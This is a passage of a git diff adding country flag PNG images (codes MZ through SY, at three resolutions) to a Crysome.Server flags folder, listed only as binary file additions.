b/Crysome.Server/flags/MZ.png new file mode 100644 index 0000000..923d0b2 Binary files /dev/null and b/Crysome.Server/flags/MZ.png differ diff --git a/Crysome.Server/flags/MZ@2x.png b/Crysome.Server/flags/MZ@2x.png new file mode 100644 index 0000000..103d9e2 Binary files /dev/null and b/Crysome.Server/flags/MZ@2x.png differ diff --git a/Crysome.Server/flags/MZ@3x.png b/Crysome.Server/flags/MZ@3x.png new file mode 100644 index 0000000..6272c23 Binary files /dev/null and b/Crysome.Server/flags/MZ@3x.png differ diff --git a/Crysome.Server/flags/NA.png b/Crysome.Server/flags/NA.png new file mode 100644 index 0000000..ea68449 Binary files /dev/null and b/Crysome.Server/flags/NA.png differ diff --git a/Crysome.Server/flags/NA@2x.png b/Crysome.Server/flags/NA@2x.png new file mode 100644 index 0000000..ba9519a Binary files /dev/null and b/Crysome.Server/flags/NA@2x.png differ diff --git a/Crysome.Server/flags/NA@3x.png b/Crysome.Server/flags/NA@3x.png new file mode 100644 index 0000000..88e443b Binary files /dev/null and b/Crysome.Server/flags/NA@3x.png differ diff --git a/Crysome.Server/flags/NC.png b/Crysome.Server/flags/NC.png new file mode 100644 index 0000000..dbf649c Binary files /dev/null and b/Crysome.Server/flags/NC.png differ diff --git a/Crysome.Server/flags/NC@2x.png b/Crysome.Server/flags/NC@2x.png new file mode 100644 index 0000000..ec87766 Binary files /dev/null and b/Crysome.Server/flags/NC@2x.png differ diff --git a/Crysome.Server/flags/NC@3x.png b/Crysome.Server/flags/NC@3x.png new file mode 100644 index 0000000..f7763c8 Binary files /dev/null and b/Crysome.Server/flags/NC@3x.png differ diff --git a/Crysome.Server/flags/NE.png b/Crysome.Server/flags/NE.png new file mode 100644 index 0000000..739b000 Binary files /dev/null and b/Crysome.Server/flags/NE.png differ diff --git a/Crysome.Server/flags/NE@2x.png b/Crysome.Server/flags/NE@2x.png new file mode 100644 index 0000000..2fca9cd Binary files /dev/null and b/Crysome.Server/flags/NE@2x.png differ diff --git a/Crysome.Server/flags/NE@3x.png b/Crysome.Server/flags/NE@3x.png new file mode 100644 index 0000000..0e1da9b Binary files /dev/null and b/Crysome.Server/flags/NE@3x.png differ diff --git a/Crysome.Server/flags/NF.png b/Crysome.Server/flags/NF.png new file mode 100644 index 0000000..ba9bf41 Binary files /dev/null and b/Crysome.Server/flags/NF.png differ diff --git a/Crysome.Server/flags/NF@2x.png b/Crysome.Server/flags/NF@2x.png new file mode 100644 index 0000000..7207d41 Binary files /dev/null and b/Crysome.Server/flags/NF@2x.png differ diff --git a/Crysome.Server/flags/NF@3x.png b/Crysome.Server/flags/NF@3x.png new file mode 100644 index 0000000..3ed89ab Binary files /dev/null and b/Crysome.Server/flags/NF@3x.png differ diff --git a/Crysome.Server/flags/NG.png b/Crysome.Server/flags/NG.png new file mode 100644 index 0000000..e9ea0dd Binary files /dev/null and b/Crysome.Server/flags/NG.png differ diff --git a/Crysome.Server/flags/NG@2x.png b/Crysome.Server/flags/NG@2x.png new file mode 100644 index 0000000..7de8072 Binary files /dev/null and b/Crysome.Server/flags/NG@2x.png differ diff --git a/Crysome.Server/flags/NG@3x.png b/Crysome.Server/flags/NG@3x.png new file mode 100644 index 0000000..172ba1a Binary files /dev/null and b/Crysome.Server/flags/NG@3x.png differ diff --git a/Crysome.Server/flags/NI.png b/Crysome.Server/flags/NI.png new file mode 100644 index 0000000..5b63ef6 Binary files /dev/null and b/Crysome.Server/flags/NI.png differ diff --git a/Crysome.Server/flags/NI@2x.png b/Crysome.Server/flags/NI@2x.png new file mode 100644 index 0000000..ed998c7 Binary files /dev/null and b/Crysome.Server/flags/NI@2x.png differ diff --git a/Crysome.Server/flags/NI@3x.png b/Crysome.Server/flags/NI@3x.png new file mode 100644 index 0000000..59ee411 Binary files /dev/null and b/Crysome.Server/flags/NI@3x.png differ diff --git a/Crysome.Server/flags/NL.png b/Crysome.Server/flags/NL.png new file mode 100644 index 0000000..af230e3 Binary files /dev/null and b/Crysome.Server/flags/NL.png differ diff --git a/Crysome.Server/flags/NL@2x.png b/Crysome.Server/flags/NL@2x.png new file mode 100644 index 0000000..a049f05 Binary files /dev/null and b/Crysome.Server/flags/NL@2x.png differ diff --git a/Crysome.Server/flags/NL@3x.png b/Crysome.Server/flags/NL@3x.png new file mode 100644 index 0000000..ed4705a Binary files /dev/null and b/Crysome.Server/flags/NL@3x.png differ diff --git a/Crysome.Server/flags/NO.png b/Crysome.Server/flags/NO.png new file mode 100644 index 0000000..a0033be Binary files /dev/null and b/Crysome.Server/flags/NO.png differ diff --git a/Crysome.Server/flags/NO@2x.png b/Crysome.Server/flags/NO@2x.png new file mode 100644 index 0000000..4110d55 Binary files /dev/null and b/Crysome.Server/flags/NO@2x.png differ diff --git a/Crysome.Server/flags/NO@3x.png b/Crysome.Server/flags/NO@3x.png new file mode 100644 index 0000000..879d0ce Binary files /dev/null and b/Crysome.Server/flags/NO@3x.png differ diff --git a/Crysome.Server/flags/NP.png b/Crysome.Server/flags/NP.png new file mode 100644 index 0000000..22dea7f Binary files /dev/null and b/Crysome.Server/flags/NP.png differ diff --git a/Crysome.Server/flags/NP@2x.png b/Crysome.Server/flags/NP@2x.png new file mode 100644 index 0000000..2a3c730 Binary files /dev/null and b/Crysome.Server/flags/NP@2x.png differ diff --git a/Crysome.Server/flags/NP@3x.png b/Crysome.Server/flags/NP@3x.png new file mode 100644 index 0000000..469fd2d Binary files /dev/null and b/Crysome.Server/flags/NP@3x.png differ diff --git a/Crysome.Server/flags/NR.png b/Crysome.Server/flags/NR.png new file mode 100644 index 0000000..e7602ec Binary files /dev/null and b/Crysome.Server/flags/NR.png differ diff --git a/Crysome.Server/flags/NR@2x.png b/Crysome.Server/flags/NR@2x.png new file mode 100644 index 0000000..3800e5c Binary files /dev/null and b/Crysome.Server/flags/NR@2x.png differ diff --git a/Crysome.Server/flags/NR@3x.png b/Crysome.Server/flags/NR@3x.png new file mode 100644 index 0000000..3be5818 Binary files /dev/null and b/Crysome.Server/flags/NR@3x.png differ diff --git a/Crysome.Server/flags/NU.png b/Crysome.Server/flags/NU.png new file mode 100644 index 0000000..6d7b036 Binary files /dev/null and b/Crysome.Server/flags/NU.png differ diff --git a/Crysome.Server/flags/NU@2x.png b/Crysome.Server/flags/NU@2x.png new file mode 100644 index 0000000..fd2fac7 Binary files /dev/null and b/Crysome.Server/flags/NU@2x.png differ diff --git a/Crysome.Server/flags/NU@3x.png b/Crysome.Server/flags/NU@3x.png new file mode 100644 index 0000000..b1747eb Binary files /dev/null and b/Crysome.Server/flags/NU@3x.png differ diff --git a/Crysome.Server/flags/NZ.png b/Crysome.Server/flags/NZ.png new file mode 100644 index 0000000..eebd226 Binary files /dev/null and b/Crysome.Server/flags/NZ.png differ diff --git a/Crysome.Server/flags/NZ@2x.png b/Crysome.Server/flags/NZ@2x.png new file mode 100644 index 0000000..3f1ec4a Binary files /dev/null and b/Crysome.Server/flags/NZ@2x.png differ diff --git a/Crysome.Server/flags/NZ@3x.png b/Crysome.Server/flags/NZ@3x.png new file mode 100644 index 0000000..eb69f99 Binary files /dev/null and b/Crysome.Server/flags/NZ@3x.png differ diff --git a/Crysome.Server/flags/OM.png b/Crysome.Server/flags/OM.png new file mode 100644 index 0000000..4bd2a1d Binary files /dev/null and b/Crysome.Server/flags/OM.png differ diff --git a/Crysome.Server/flags/OM@2x.png b/Crysome.Server/flags/OM@2x.png new file mode 100644 index 0000000..8edc1c2 Binary files /dev/null and b/Crysome.Server/flags/OM@2x.png differ diff --git a/Crysome.Server/flags/OM@3x.png b/Crysome.Server/flags/OM@3x.png new file mode 100644 index 0000000..05e2c82 Binary files /dev/null and b/Crysome.Server/flags/OM@3x.png differ diff --git a/Crysome.Server/flags/PA.png b/Crysome.Server/flags/PA.png new file mode 100644 index 0000000..d6fc097 Binary files /dev/null and b/Crysome.Server/flags/PA.png differ diff --git a/Crysome.Server/flags/PA@2x.png b/Crysome.Server/flags/PA@2x.png new file mode 100644 index 0000000..946a1ff Binary files /dev/null and b/Crysome.Server/flags/PA@2x.png differ diff --git a/Crysome.Server/flags/PA@3x.png b/Crysome.Server/flags/PA@3x.png new file mode 100644 index 0000000..6e4d324 Binary files /dev/null and b/Crysome.Server/flags/PA@3x.png differ diff --git a/Crysome.Server/flags/PE.png b/Crysome.Server/flags/PE.png new file mode 100644 index 0000000..6015252 Binary files /dev/null and b/Crysome.Server/flags/PE.png differ diff --git a/Crysome.Server/flags/PE@2x.png b/Crysome.Server/flags/PE@2x.png new file mode 100644 index 0000000..dc7ffc0 Binary files /dev/null and b/Crysome.Server/flags/PE@2x.png differ diff --git a/Crysome.Server/flags/PE@3x.png b/Crysome.Server/flags/PE@3x.png new file mode 100644 index 0000000..802a4d5 Binary files /dev/null and b/Crysome.Server/flags/PE@3x.png differ diff --git a/Crysome.Server/flags/PF.png b/Crysome.Server/flags/PF.png new file mode 100644 index 0000000..f091032 Binary files /dev/null and b/Crysome.Server/flags/PF.png differ diff --git a/Crysome.Server/flags/PF@2x.png b/Crysome.Server/flags/PF@2x.png new file mode 100644 index 0000000..d811acc Binary files /dev/null and b/Crysome.Server/flags/PF@2x.png differ diff --git a/Crysome.Server/flags/PF@3x.png b/Crysome.Server/flags/PF@3x.png new file mode 100644 index 0000000..b140046 Binary files /dev/null and b/Crysome.Server/flags/PF@3x.png differ diff --git a/Crysome.Server/flags/PG.png b/Crysome.Server/flags/PG.png new file mode 100644 index 0000000..d5b5363 Binary files /dev/null and b/Crysome.Server/flags/PG.png differ diff --git a/Crysome.Server/flags/PG@2x.png b/Crysome.Server/flags/PG@2x.png new file mode 100644 index 0000000..c1e25ca Binary files /dev/null and b/Crysome.Server/flags/PG@2x.png differ diff --git a/Crysome.Server/flags/PG@3x.png b/Crysome.Server/flags/PG@3x.png new file mode 100644 index 0000000..af6d22d Binary files /dev/null and b/Crysome.Server/flags/PG@3x.png differ diff --git a/Crysome.Server/flags/PH.png b/Crysome.Server/flags/PH.png new file mode 100644 index 0000000..7df1bb5 Binary files /dev/null and b/Crysome.Server/flags/PH.png differ diff --git a/Crysome.Server/flags/PH@2x.png b/Crysome.Server/flags/PH@2x.png new file mode 100644 index 0000000..715ce4a Binary files /dev/null and b/Crysome.Server/flags/PH@2x.png differ diff --git a/Crysome.Server/flags/PH@3x.png b/Crysome.Server/flags/PH@3x.png new file mode 100644 index 0000000..f458934 Binary files /dev/null and b/Crysome.Server/flags/PH@3x.png differ diff --git a/Crysome.Server/flags/PK.png b/Crysome.Server/flags/PK.png new file mode 100644 index 0000000..e13c2c9 Binary files /dev/null and b/Crysome.Server/flags/PK.png differ diff --git a/Crysome.Server/flags/PK@2x.png b/Crysome.Server/flags/PK@2x.png new file mode 100644 index 0000000..2f70bf6 Binary files /dev/null and b/Crysome.Server/flags/PK@2x.png differ diff --git a/Crysome.Server/flags/PK@3x.png b/Crysome.Server/flags/PK@3x.png new file mode 100644 index 0000000..108e78e Binary files /dev/null and b/Crysome.Server/flags/PK@3x.png differ diff --git a/Crysome.Server/flags/PL.png b/Crysome.Server/flags/PL.png new file mode 100644 index 0000000..c2550ce Binary files /dev/null and b/Crysome.Server/flags/PL.png differ diff --git a/Crysome.Server/flags/PL@2x.png b/Crysome.Server/flags/PL@2x.png new file mode 100644 index 0000000..3ffe6bb Binary files /dev/null and b/Crysome.Server/flags/PL@2x.png differ diff --git a/Crysome.Server/flags/PL@3x.png b/Crysome.Server/flags/PL@3x.png new file mode 100644 index 0000000..b9d7416 Binary files /dev/null and b/Crysome.Server/flags/PL@3x.png differ diff --git a/Crysome.Server/flags/PM.png b/Crysome.Server/flags/PM.png new file mode 100644 index 0000000..2214a3d Binary files /dev/null and b/Crysome.Server/flags/PM.png differ diff --git a/Crysome.Server/flags/PM@2x.png b/Crysome.Server/flags/PM@2x.png new file mode 100644 index 0000000..e767e17 Binary files /dev/null and b/Crysome.Server/flags/PM@2x.png differ diff --git a/Crysome.Server/flags/PM@3x.png b/Crysome.Server/flags/PM@3x.png new file mode 100644 index 0000000..2c8e555 Binary files /dev/null and b/Crysome.Server/flags/PM@3x.png differ diff --git a/Crysome.Server/flags/PN.png b/Crysome.Server/flags/PN.png new file mode 100644 index 0000000..7406b48 Binary files /dev/null and b/Crysome.Server/flags/PN.png differ diff --git a/Crysome.Server/flags/PN@2x.png b/Crysome.Server/flags/PN@2x.png new file mode 100644 index 0000000..0e5e931 Binary files /dev/null and b/Crysome.Server/flags/PN@2x.png differ diff --git a/Crysome.Server/flags/PN@3x.png b/Crysome.Server/flags/PN@3x.png new file mode 100644 index 0000000..bcc7970 Binary files /dev/null and b/Crysome.Server/flags/PN@3x.png differ diff --git a/Crysome.Server/flags/PR.png b/Crysome.Server/flags/PR.png new file mode 100644 index 0000000..7581b55 Binary files /dev/null and b/Crysome.Server/flags/PR.png differ diff --git a/Crysome.Server/flags/PR@2x.png b/Crysome.Server/flags/PR@2x.png new file mode 100644 index 0000000..8c0f049 Binary files /dev/null and b/Crysome.Server/flags/PR@2x.png differ diff --git a/Crysome.Server/flags/PR@3x.png b/Crysome.Server/flags/PR@3x.png new file mode 100644 index 0000000..c96e7d5 Binary files /dev/null and b/Crysome.Server/flags/PR@3x.png differ diff --git a/Crysome.Server/flags/PS.png b/Crysome.Server/flags/PS.png new file mode 100644 index 0000000..8c18208 Binary files /dev/null and b/Crysome.Server/flags/PS.png differ diff --git a/Crysome.Server/flags/PS@2x.png b/Crysome.Server/flags/PS@2x.png new file mode 100644 index 0000000..3d68a89 Binary files /dev/null and b/Crysome.Server/flags/PS@2x.png differ diff --git a/Crysome.Server/flags/PS@3x.png b/Crysome.Server/flags/PS@3x.png new file mode 100644 index 0000000..a52e938 Binary files /dev/null and b/Crysome.Server/flags/PS@3x.png differ diff --git a/Crysome.Server/flags/PT.png b/Crysome.Server/flags/PT.png new file mode 100644 index 0000000..1153165 Binary files /dev/null and b/Crysome.Server/flags/PT.png differ diff --git a/Crysome.Server/flags/PT@2x.png b/Crysome.Server/flags/PT@2x.png new file mode 100644 index 0000000..ee557c7 Binary files /dev/null and b/Crysome.Server/flags/PT@2x.png differ diff --git a/Crysome.Server/flags/PT@3x.png b/Crysome.Server/flags/PT@3x.png new file mode 100644 index 0000000..04bf96a Binary files /dev/null and b/Crysome.Server/flags/PT@3x.png differ diff --git a/Crysome.Server/flags/PW.png b/Crysome.Server/flags/PW.png new file mode 100644 index 0000000..e46ddb4 Binary files /dev/null and b/Crysome.Server/flags/PW.png differ diff --git a/Crysome.Server/flags/PW@2x.png b/Crysome.Server/flags/PW@2x.png new file mode 100644 index 0000000..18111a7 Binary files /dev/null and b/Crysome.Server/flags/PW@2x.png differ diff --git a/Crysome.Server/flags/PW@3x.png b/Crysome.Server/flags/PW@3x.png new file mode 100644 index 0000000..fc08283 Binary files /dev/null and b/Crysome.Server/flags/PW@3x.png differ diff --git a/Crysome.Server/flags/PY.png b/Crysome.Server/flags/PY.png new file mode 100644 index 0000000..96b764e Binary files /dev/null and b/Crysome.Server/flags/PY.png differ diff --git a/Crysome.Server/flags/PY@2x.png b/Crysome.Server/flags/PY@2x.png new file mode 100644 index 0000000..7ab0fd0 Binary files /dev/null and b/Crysome.Server/flags/PY@2x.png differ diff --git a/Crysome.Server/flags/PY@3x.png b/Crysome.Server/flags/PY@3x.png new file mode 100644 index 0000000..3241b09 Binary files /dev/null and b/Crysome.Server/flags/PY@3x.png differ diff --git a/Crysome.Server/flags/QA.png b/Crysome.Server/flags/QA.png new file mode 100644 index 0000000..b2177b6 Binary files /dev/null and b/Crysome.Server/flags/QA.png differ diff --git a/Crysome.Server/flags/QA@2x.png b/Crysome.Server/flags/QA@2x.png new file mode 100644 index 0000000..92d51d9 Binary files /dev/null and b/Crysome.Server/flags/QA@2x.png differ diff --git a/Crysome.Server/flags/QA@3x.png b/Crysome.Server/flags/QA@3x.png new file mode 100644 index 0000000..5889780 Binary files /dev/null and b/Crysome.Server/flags/QA@3x.png differ diff --git a/Crysome.Server/flags/RE.png b/Crysome.Server/flags/RE.png new file mode 100644 index 0000000..2fd4c6a Binary files /dev/null and b/Crysome.Server/flags/RE.png differ diff --git a/Crysome.Server/flags/RE@2x.png b/Crysome.Server/flags/RE@2x.png new file mode 100644 index 0000000..720839f Binary files /dev/null and b/Crysome.Server/flags/RE@2x.png differ diff --git a/Crysome.Server/flags/RE@3x.png b/Crysome.Server/flags/RE@3x.png new file mode 100644 index 0000000..1de1b75 Binary files /dev/null and b/Crysome.Server/flags/RE@3x.png differ diff --git a/Crysome.Server/flags/RO.png b/Crysome.Server/flags/RO.png new file mode 100644 index 0000000..81906a5 Binary files /dev/null and b/Crysome.Server/flags/RO.png differ diff --git a/Crysome.Server/flags/RO@2x.png b/Crysome.Server/flags/RO@2x.png new file mode 100644 index 0000000..6903f91 Binary files /dev/null and b/Crysome.Server/flags/RO@2x.png differ diff --git a/Crysome.Server/flags/RO@3x.png b/Crysome.Server/flags/RO@3x.png new file mode 100644 index 0000000..7690afb Binary files /dev/null and b/Crysome.Server/flags/RO@3x.png differ diff --git a/Crysome.Server/flags/RS.png b/Crysome.Server/flags/RS.png new file mode 100644 index 0000000..79e03d9 Binary files /dev/null and b/Crysome.Server/flags/RS.png differ diff --git a/Crysome.Server/flags/RS@2x.png b/Crysome.Server/flags/RS@2x.png new file mode 100644 index 0000000..a22f48e Binary files /dev/null and b/Crysome.Server/flags/RS@2x.png differ diff --git a/Crysome.Server/flags/RS@3x.png b/Crysome.Server/flags/RS@3x.png new file mode 100644 index 0000000..c7ebc16 Binary files /dev/null and b/Crysome.Server/flags/RS@3x.png differ diff --git a/Crysome.Server/flags/RU.png b/Crysome.Server/flags/RU.png new file mode 100644 index 0000000..7ac8192 Binary files /dev/null and b/Crysome.Server/flags/RU.png differ diff --git a/Crysome.Server/flags/RU@2x.png b/Crysome.Server/flags/RU@2x.png new file mode 100644 index 0000000..cb6d4e0 Binary files /dev/null and b/Crysome.Server/flags/RU@2x.png differ diff --git a/Crysome.Server/flags/RU@3x.png b/Crysome.Server/flags/RU@3x.png new file mode 100644 index 0000000..1ed5b2e Binary files /dev/null and b/Crysome.Server/flags/RU@3x.png differ diff --git a/Crysome.Server/flags/RW.png b/Crysome.Server/flags/RW.png new file mode 100644 index 0000000..16f5b01 Binary files /dev/null and b/Crysome.Server/flags/RW.png differ diff --git a/Crysome.Server/flags/RW@2x.png b/Crysome.Server/flags/RW@2x.png new file mode 100644 index 0000000..1423324 Binary files /dev/null and b/Crysome.Server/flags/RW@2x.png differ diff --git a/Crysome.Server/flags/RW@3x.png b/Crysome.Server/flags/RW@3x.png new file mode 100644 index 0000000..a79830e Binary files /dev/null and b/Crysome.Server/flags/RW@3x.png differ diff --git a/Crysome.Server/flags/SA.png b/Crysome.Server/flags/SA.png new file mode 100644 index 0000000..7ffb693 Binary files /dev/null and b/Crysome.Server/flags/SA.png differ diff --git a/Crysome.Server/flags/SA@2x.png b/Crysome.Server/flags/SA@2x.png new file mode 100644 index 0000000..409f9ad Binary files /dev/null and b/Crysome.Server/flags/SA@2x.png differ diff --git a/Crysome.Server/flags/SA@3x.png b/Crysome.Server/flags/SA@3x.png new file mode 100644 index 0000000..3f63c4d Binary files /dev/null and b/Crysome.Server/flags/SA@3x.png differ diff --git a/Crysome.Server/flags/SB.png b/Crysome.Server/flags/SB.png new file mode 100644 index 0000000..e141f2f Binary files /dev/null and b/Crysome.Server/flags/SB.png differ diff --git a/Crysome.Server/flags/SB@2x.png b/Crysome.Server/flags/SB@2x.png new file mode 100644 index 0000000..2111270 Binary files /dev/null and b/Crysome.Server/flags/SB@2x.png differ diff --git a/Crysome.Server/flags/SB@3x.png b/Crysome.Server/flags/SB@3x.png new file mode 100644 index 0000000..e4d4ae6 Binary files /dev/null and b/Crysome.Server/flags/SB@3x.png differ diff --git a/Crysome.Server/flags/SC.png b/Crysome.Server/flags/SC.png new file mode 100644 index 0000000..d5ad809 Binary files /dev/null and b/Crysome.Server/flags/SC.png differ diff --git a/Crysome.Server/flags/SC@2x.png b/Crysome.Server/flags/SC@2x.png new file mode 100644 index 0000000..962719e Binary files /dev/null and b/Crysome.Server/flags/SC@2x.png differ diff --git a/Crysome.Server/flags/SC@3x.png b/Crysome.Server/flags/SC@3x.png new file mode 100644 index 0000000..45278bf Binary files /dev/null and b/Crysome.Server/flags/SC@3x.png differ diff --git a/Crysome.Server/flags/SD.png b/Crysome.Server/flags/SD.png new file mode 100644 index 0000000..52e8f95 Binary files /dev/null and b/Crysome.Server/flags/SD.png differ diff --git a/Crysome.Server/flags/SD@2x.png b/Crysome.Server/flags/SD@2x.png new file mode 100644 index 0000000..7631b6d Binary files /dev/null and b/Crysome.Server/flags/SD@2x.png differ diff --git a/Crysome.Server/flags/SD@3x.png b/Crysome.Server/flags/SD@3x.png new file mode 100644 index 0000000..2b6f167 Binary files /dev/null and b/Crysome.Server/flags/SD@3x.png differ diff --git a/Crysome.Server/flags/SE.png b/Crysome.Server/flags/SE.png new file mode 100644 index 0000000..0fc4315 Binary files /dev/null and b/Crysome.Server/flags/SE.png differ diff --git a/Crysome.Server/flags/SE@2x.png b/Crysome.Server/flags/SE@2x.png new file mode 100644 index 0000000..218100c Binary files /dev/null and b/Crysome.Server/flags/SE@2x.png differ diff --git a/Crysome.Server/flags/SE@3x.png b/Crysome.Server/flags/SE@3x.png new file mode 100644 index 0000000..9a467cd Binary files /dev/null and b/Crysome.Server/flags/SE@3x.png differ diff --git a/Crysome.Server/flags/SG.png b/Crysome.Server/flags/SG.png new file mode 100644 index 0000000..79b29b9 Binary files /dev/null and b/Crysome.Server/flags/SG.png differ diff --git a/Crysome.Server/flags/SG@2x.png b/Crysome.Server/flags/SG@2x.png new file mode 100644 index 0000000..c83f38e Binary files /dev/null and b/Crysome.Server/flags/SG@2x.png differ diff --git a/Crysome.Server/flags/SG@3x.png b/Crysome.Server/flags/SG@3x.png new file mode 100644 index 0000000..713c485 Binary files /dev/null and b/Crysome.Server/flags/SG@3x.png differ diff --git a/Crysome.Server/flags/SH.png b/Crysome.Server/flags/SH.png new file mode 100644 index 0000000..b796899 Binary files /dev/null and b/Crysome.Server/flags/SH.png differ diff --git a/Crysome.Server/flags/SH@2x.png b/Crysome.Server/flags/SH@2x.png new file mode 100644 index 0000000..424f5e2 Binary files /dev/null and b/Crysome.Server/flags/SH@2x.png differ diff --git a/Crysome.Server/flags/SH@3x.png b/Crysome.Server/flags/SH@3x.png new file mode 100644 index 0000000..fe689b5 Binary files /dev/null and b/Crysome.Server/flags/SH@3x.png differ diff --git a/Crysome.Server/flags/SI.png b/Crysome.Server/flags/SI.png new file mode 100644 index 0000000..f81eeec Binary files /dev/null and b/Crysome.Server/flags/SI.png differ diff --git a/Crysome.Server/flags/SI@2x.png b/Crysome.Server/flags/SI@2x.png new file mode 100644 index 0000000..4f79ea8 Binary files /dev/null and b/Crysome.Server/flags/SI@2x.png differ diff --git a/Crysome.Server/flags/SI@3x.png b/Crysome.Server/flags/SI@3x.png new file mode 100644 index 0000000..8b1dcd0 Binary files /dev/null and b/Crysome.Server/flags/SI@3x.png differ diff --git a/Crysome.Server/flags/SJ.png b/Crysome.Server/flags/SJ.png new file mode 100644 index 0000000..a0033be Binary files /dev/null and b/Crysome.Server/flags/SJ.png differ diff --git a/Crysome.Server/flags/SJ@2x.png b/Crysome.Server/flags/SJ@2x.png new file mode 100644 index 0000000..4110d55 Binary files /dev/null and b/Crysome.Server/flags/SJ@2x.png differ diff --git a/Crysome.Server/flags/SJ@3x.png b/Crysome.Server/flags/SJ@3x.png new file mode 100644 index 0000000..879d0ce Binary files /dev/null and b/Crysome.Server/flags/SJ@3x.png differ diff --git a/Crysome.Server/flags/SK.png b/Crysome.Server/flags/SK.png new file mode 100644 index 0000000..27fa1cd Binary files /dev/null and b/Crysome.Server/flags/SK.png differ diff --git a/Crysome.Server/flags/SK@2x.png b/Crysome.Server/flags/SK@2x.png new file mode 100644 index 0000000..cca013d Binary files /dev/null and b/Crysome.Server/flags/SK@2x.png differ diff --git a/Crysome.Server/flags/SK@3x.png b/Crysome.Server/flags/SK@3x.png new file mode 100644 index 0000000..1d608c8 Binary files /dev/null and b/Crysome.Server/flags/SK@3x.png differ diff --git a/Crysome.Server/flags/SL.png b/Crysome.Server/flags/SL.png new file mode 100644 index 0000000..59b5557 Binary files /dev/null and b/Crysome.Server/flags/SL.png differ diff --git a/Crysome.Server/flags/SL@2x.png b/Crysome.Server/flags/SL@2x.png new file mode 100644 index 0000000..faca9ae Binary files /dev/null and b/Crysome.Server/flags/SL@2x.png differ diff --git a/Crysome.Server/flags/SL@3x.png b/Crysome.Server/flags/SL@3x.png new file mode 100644 index 0000000..7354855 Binary files /dev/null and b/Crysome.Server/flags/SL@3x.png differ diff --git a/Crysome.Server/flags/SM.png b/Crysome.Server/flags/SM.png new file mode 100644 index 0000000..0425fc9 Binary files /dev/null and b/Crysome.Server/flags/SM.png differ diff --git a/Crysome.Server/flags/SM@2x.png b/Crysome.Server/flags/SM@2x.png new file mode 100644 index 0000000..39665b3 Binary files /dev/null and b/Crysome.Server/flags/SM@2x.png differ diff --git a/Crysome.Server/flags/SM@3x.png b/Crysome.Server/flags/SM@3x.png new file mode 100644 index 0000000..7f75ad5 Binary files /dev/null and b/Crysome.Server/flags/SM@3x.png differ diff --git a/Crysome.Server/flags/SN.png b/Crysome.Server/flags/SN.png new file mode 100644 index 0000000..00d86e7 Binary files /dev/null and b/Crysome.Server/flags/SN.png differ diff --git a/Crysome.Server/flags/SN@2x.png b/Crysome.Server/flags/SN@2x.png new file mode 100644 index 0000000..63a1154 Binary files /dev/null and b/Crysome.Server/flags/SN@2x.png differ diff --git a/Crysome.Server/flags/SN@3x.png b/Crysome.Server/flags/SN@3x.png new file mode 100644 index 0000000..95047e0 Binary files /dev/null and b/Crysome.Server/flags/SN@3x.png differ diff --git a/Crysome.Server/flags/SO.png b/Crysome.Server/flags/SO.png new file mode 100644 index 0000000..133349a Binary files /dev/null and b/Crysome.Server/flags/SO.png differ diff --git a/Crysome.Server/flags/SO@2x.png b/Crysome.Server/flags/SO@2x.png new file mode 100644 index 0000000..0ca399f Binary files /dev/null and b/Crysome.Server/flags/SO@2x.png differ diff --git a/Crysome.Server/flags/SO@3x.png b/Crysome.Server/flags/SO@3x.png new file mode 100644 index 0000000..e28dd32 Binary files /dev/null and b/Crysome.Server/flags/SO@3x.png differ diff --git a/Crysome.Server/flags/SR.png b/Crysome.Server/flags/SR.png new file mode 100644 index 0000000..09f771e Binary files /dev/null and b/Crysome.Server/flags/SR.png differ diff --git a/Crysome.Server/flags/SR@2x.png b/Crysome.Server/flags/SR@2x.png new file mode 100644 index 0000000..4bf4a8d Binary files /dev/null and b/Crysome.Server/flags/SR@2x.png differ diff --git a/Crysome.Server/flags/SR@3x.png b/Crysome.Server/flags/SR@3x.png new file mode 100644 index 0000000..cd72494 Binary files /dev/null and b/Crysome.Server/flags/SR@3x.png differ diff --git a/Crysome.Server/flags/SS.png b/Crysome.Server/flags/SS.png new file mode 100644 index 0000000..13e60fe Binary files /dev/null and b/Crysome.Server/flags/SS.png differ diff --git a/Crysome.Server/flags/SS@2x.png b/Crysome.Server/flags/SS@2x.png new file mode 100644 index 0000000..3b70e7e Binary files /dev/null and b/Crysome.Server/flags/SS@2x.png differ diff --git a/Crysome.Server/flags/SS@3x.png b/Crysome.Server/flags/SS@3x.png new file mode 100644 index 0000000..2995edd Binary files /dev/null and b/Crysome.Server/flags/SS@3x.png differ diff --git a/Crysome.Server/flags/ST.png b/Crysome.Server/flags/ST.png new file mode 100644 index 0000000..8413286 Binary files /dev/null and b/Crysome.Server/flags/ST.png differ diff --git a/Crysome.Server/flags/ST@2x.png b/Crysome.Server/flags/ST@2x.png new file mode 100644 index 0000000..e71e6c1 Binary files /dev/null and b/Crysome.Server/flags/ST@2x.png differ diff --git a/Crysome.Server/flags/ST@3x.png b/Crysome.Server/flags/ST@3x.png new file mode 100644 index 0000000..adda2e5 Binary files /dev/null and b/Crysome.Server/flags/ST@3x.png differ diff --git a/Crysome.Server/flags/SV.png b/Crysome.Server/flags/SV.png new file mode 100644 index 0000000..401fca8 Binary files /dev/null and b/Crysome.Server/flags/SV.png differ diff --git a/Crysome.Server/flags/SV@2x.png b/Crysome.Server/flags/SV@2x.png new file mode 100644 index 0000000..252b562 Binary files /dev/null and b/Crysome.Server/flags/SV@2x.png differ diff --git a/Crysome.Server/flags/SV@3x.png b/Crysome.Server/flags/SV@3x.png new file mode 100644 index 0000000..252eb31 Binary files /dev/null and b/Crysome.Server/flags/SV@3x.png differ diff --git a/Crysome.Server/flags/SX.png b/Crysome.Server/flags/SX.png new file mode 100644 index 0000000..c04ff87 Binary files /dev/null and b/Crysome.Server/flags/SX.png differ diff --git a/Crysome.Server/flags/SX@2x.png b/Crysome.Server/flags/SX@2x.png new file mode 100644 index 0000000..55530c0 Binary files /dev/null and b/Crysome.Server/flags/SX@2x.png differ diff --git a/Crysome.Server/flags/SX@3x.png b/Crysome.Server/flags/SX@3x.png new file mode 100644 index 0000000..ff8fc64 Binary files /dev/null and b/Crysome.Server/flags/SX@3x.png differ diff --git a/Crysome.Server/flags/SY.png b/Crysome.Server/flags/SY.png new file mode 100644 index 0000000..edefdaa Binary files /dev/null and b/Crysome.Server/flags/SY.png differ diff --git a/Crysome.Server/flags/SY@2x.png b/Crysome.Server/flags/SY@2x.png new file mode 100644 index 0000000..a4d93d1 Binary files /dev/null and b/Crysome.Server/flags/SY@2x.png differ diff --git a/Crysome.Server/flags/SY@3x.png b/Crysome.Server/flags/SY@3x.png new file mode 100644 index 0000000..c344852 Binary files /dev/null and b/Crysome.Server/flags/SY@3x.png differ diff --git 